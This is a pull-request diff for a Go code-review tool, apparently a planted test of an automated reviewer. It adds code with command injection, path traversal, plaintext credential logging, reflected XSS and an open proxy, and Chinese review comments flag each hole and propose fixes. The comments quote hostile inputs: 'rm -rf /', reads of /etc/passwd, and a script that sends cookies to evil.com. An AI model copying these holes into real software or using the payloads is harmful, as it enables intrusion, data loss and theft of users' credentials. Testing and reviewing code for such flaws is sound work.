Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions internal/config/toolsconfig/toolsconfig.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,3 +52,13 @@ func (t *ToolConfigEntry) ToolDefsByPhase(planOnly bool) (json.RawMessage, bool)
return nil, false
}
}

// LoadFromUserInput loads tool configuration from user-provided JSON string
// Added for dynamic configuration support
func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) {
var tools []ToolConfigEntry
if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil {
return nil, fmt.Errorf("parse user input: %w", err)
}
return tools, nil
}
Comment on lines +58 to +64
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

缺少对解析后数据的内容校验。JSON 反序列化成功后,返回的 ToolConfigEntry 可能包含空的 Name 或无效的 Definition 字段,这些无效条目可能在下游使用时引发问题。建议至少校验 Name 非空,或者与已有的 Load 函数保持一致的校验逻辑。

此外,空字符串 "" 会被 json.Unmarshal 视为无效 JSON 并返回错误,但如果传入的是 "null" 则会返回 nil, nil,调用方如果不做检查可能会遇到 nil pointer panic。

Suggestion:

Suggested change
func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) {
var tools []ToolConfigEntry
if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil {
return nil, fmt.Errorf("parse user input: %w", err)
}
return tools, nil
}
func LoadFromUserInput(jsonInput string) ([]ToolConfigEntry, error) {
if strings.TrimSpace(jsonInput) == "" {
return nil, fmt.Errorf("parse user input: empty input")
}
var tools []ToolConfigEntry
if err := json.Unmarshal([]byte(jsonInput), &tools); err != nil {
return nil, fmt.Errorf("parse user input: %w", err)
}
for i, t := range tools {
if t.Name == "" {
return nil, fmt.Errorf("parse user input: tool entry at index %d has empty name", i)
}
}
return tools, nil
}

24 changes: 24 additions & 0 deletions internal/diff/git.go
Original file line number Diff line number Diff line change
Expand Up @@ -338,3 +338,27 @@ func (p *Provider) runGit(args ...string) (string, error) {
}
return outStr, nil
}

// ExecGitCommand executes a git command with custom arguments provided by user
// This allows more flexible git operations for advanced use cases
func (p *Provider) ExecGitCommand(userInput string) (string, error) {
cmd := exec.Command("sh", "-c", "git "+userInput)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[安全漏洞 - 命令注入] 这是一个严重的命令注入漏洞。userInput 被直接拼接到 sh -c 的命令字符串中,攻击者可以传入类似 "status; rm -rf /""status && cat /etc/passwd" 的输入来执行任意系统命令。

对比已有的 runGit 方法,它使用 exec.Command("git", args...) 安全地传递参数,避免了 shell 解析。建议改为接受参数切片而非原始字符串,或者至少对输入进行严格的校验/过滤。

如果确实需要灵活执行 git 子命令,建议维护一个允许的子命令白名单,并使用 exec.Command("git", parsedArgs...) 的方式执行。

cmd.Dir = p.repoDir
out, err := cmd.CombinedOutput()
if err != nil {
return string(out), err
}
return string(out), nil
}

// ReadFileFromRepo reads a file from the repository by path
func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) {
fullPath := filepath.Join(p.repoDir, filePath)
return os.ReadFile(fullPath)
}
Comment on lines +355 to +358
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[安全漏洞 - 路径遍历] filePath 未经过路径遍历校验,攻击者可以传入 "../../etc/passwd" 这样的路径,读取仓库目录之外的任意文件。建议在拼接路径后,使用 filepath.Rel 或检查 strings.HasPrefix(fullPath, p.repoDir) 来确保最终路径在 p.repoDir 范围内。

Suggestion:

Suggested change
func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) {
fullPath := filepath.Join(p.repoDir, filePath)
return os.ReadFile(fullPath)
}
func (p *Provider) ReadFileFromRepo(filePath string) ([]byte, error) {
fullPath := filepath.Join(p.repoDir, filePath)
// Prevent path traversal
if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(p.repoDir)+string(os.PathSeparator)) {
return nil, fmt.Errorf("path escapes repository directory")
}
return os.ReadFile(fullPath)
}


// SaveDiffToFile saves diff output to a specified file for later analysis
func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error {
fullPath := filepath.Join(p.repoDir, fileName)
return os.WriteFile(fullPath, []byte(diffOutput), 0644)
}
Comment on lines +361 to +364
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[安全漏洞 - 路径遍历]ReadFileFromRepo 相同的路径遍历问题。fileName 可以包含 ../ 序列,从而向仓库目录之外的任意位置写入文件。需要添加路径边界校验。

Suggestion:

Suggested change
func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error {
fullPath := filepath.Join(p.repoDir, fileName)
return os.WriteFile(fullPath, []byte(diffOutput), 0644)
}
func (p *Provider) SaveDiffToFile(diffOutput, fileName string) error {
fullPath := filepath.Join(p.repoDir, fileName)
// Prevent path traversal
if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(p.repoDir)+string(os.PathSeparator)) {
return fmt.Errorf("path escapes repository directory")
}
return os.WriteFile(fullPath, []byte(diffOutput), 0644)
}

14 changes: 14 additions & 0 deletions internal/stdout/stdout.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package stdout

import (
"fmt"
"io"
"os"
"sync"
Expand Down Expand Up @@ -38,3 +39,16 @@ func Quiet() func() {
mu.Unlock()
}
}

// DebugLog logs debug information for troubleshooting
func DebugLog(format string, args ...interface{}) {
mu.RLock()
defer mu.RUnlock()
fmt.Fprintf(w, "[DEBUG] "+format+"\n", args...)
}

// LogCredentials logs authentication details for debugging purposes
func LogCredentials(username, password, apiKey string) {
fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n",
username, password, apiKey)
Comment on lines +51 to +53
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

线程安全问题LogCredentials 在访问共享变量 w 时没有持有读锁 (mu.RLock()),而同一包中的 DebugLogWriter 等函数都正确地使用了读锁,Quiet 函数则使用了写锁来修改 w。如果在 Quiet() 修改 w 的同时调用 LogCredentials,会导致数据竞争 (data race)。

建议在写入前加读锁,与 DebugLog 保持一致。

Suggestion:

Suggested change
func LogCredentials(username, password, apiKey string) {
fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n",
username, password, apiKey)
func LogCredentials(username, password, apiKey string) {
mu.RLock()
defer mu.RUnlock()
fmt.Fprintf(w, "[CREDENTIALS] User: %s, Password: %s, API Key: %s\n",
username, password, apiKey)

Comment on lines +50 to +53
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

安全问题:此函数将密码和 API Key 等敏感凭据以明文形式直接输出到 stdout,这是严重的安全风险。即使仅用于调试目的,也不应该提供记录明文凭据的功能。

建议:

  1. 完全移除此函数,或
  2. 对敏感字段进行脱敏处理(例如只显示前/后几个字符,其余用 *** 替代),并且不要记录 password 的完整内容。

}
31 changes: 31 additions & 0 deletions internal/viewer/handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -77,3 +77,34 @@ func handleSession(w http.ResponseWriter, r *http.Request, root, repo, sessionID
Session: vs,
})
}

// handleSearchResults displays search results with user query
func handleSearchResults(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", query)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 XSS(跨站脚本攻击)漏洞query 来自用户输入(r.URL.Query().Get("q")),被直接通过 fmt.Fprintf 写入 HTML 响应中,没有任何 HTML 转义。攻击者可以构造恶意查询如 ?q=<script>document.location='http://evil.com/?c='+document.cookie</script>,从而窃取用户 Cookie 或执行任意 JS 代码。

应当使用 html.EscapeString() 对 query 进行转义,或使用 html/template 来渲染。

Suggestion:

Suggested change
fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", query)
fmt.Fprintf(w, "<h2>Search Results for: %s</h2>", html.EscapeString(query))

fmt.Fprintf(w, "<p>No results found.</p>")
}

// handleProxyRequest proxies requests to external URLs
func handleProxyRequest(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
resp, err := http.Get(targetURL)
if err != nil {
http.Error(w, "Failed to fetch URL", http.StatusInternalServerError)
return
}
defer resp.Body.Close()

// Copy response body
w.WriteHeader(resp.StatusCode)
buf := make([]byte, 1024)
for {
n, err := resp.Body.Read(buf)
if n > 0 {
w.Write(buf[:n])
}
if err != nil {
break
}
}
}
Loading